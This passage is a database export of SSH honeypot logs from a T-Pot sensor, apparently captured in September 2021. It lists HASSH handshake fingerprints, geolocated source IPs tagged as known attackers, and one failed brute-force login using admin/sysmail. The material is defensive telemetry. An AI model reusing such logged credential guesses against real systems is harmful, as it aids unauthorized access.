"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52174, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.076580", "@timestamp": "2021-09-20T11:06:12.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20826	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:12.192084+03	2021-09-20 14:15:02.872613+03	{"_id": "0gXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44030, "timestamp": "2021-09-20T11:06:12.192084", "@timestamp": "2021-09-20T11:06:12.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20949	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.385314+03	2021-09-20 14:15:03.029613+03	{"_id": "IAXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eede082e62d5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:08.385314Z", "@timestamp": "2021-09-20T11:06:08.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20827	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:12.202974+03	2021-09-20 14:15:02.874613+03	{"_id": "0wXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44030, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.202974", "@timestamp": "2021-09-20T11:06:12.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20828	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:06:12.207089+03	2021-09-20 14:15:02.875614+03	{"_id": "1AXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59570, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.207089", "@timestamp": "2021-09-20T11:06:12.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20829	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:12.226002+03	2021-09-20 14:15:02.876634+03	{"_id": "1QXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42446, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.226002", "@timestamp": "2021-09-20T11:06:12.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20830	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:12.226139+03	2021-09-20 14:15:02.878614+03	{"_id": "1gXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42446, "timestamp": "2021-09-20T11:06:12.226139", "@timestamp": "2021-09-20T11:06:12.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20836	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:13.07119+03	2021-09-20 14:15:02.886613+03	{"_id": "3AXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/sysmail] failed", "session": "cea22d976ad8", "@version": "1", "password": "sysmail", "username": "admin", "timestamp": "2021-09-20T11:06:13.071190Z", "@timestamp": "2021-09-20T11:06:13.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20831	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:12.393429+03	2021-09-20 14:15:02.879613+03	{"_id": "1wXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52304, "timestamp": "2021-09-20T11:06:12.393429", "@timestamp": "2021-09-20T11:06:12.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20832	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:12.668526+03	2021-09-20 14:15:02.880613+03	{"_id": "2AXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 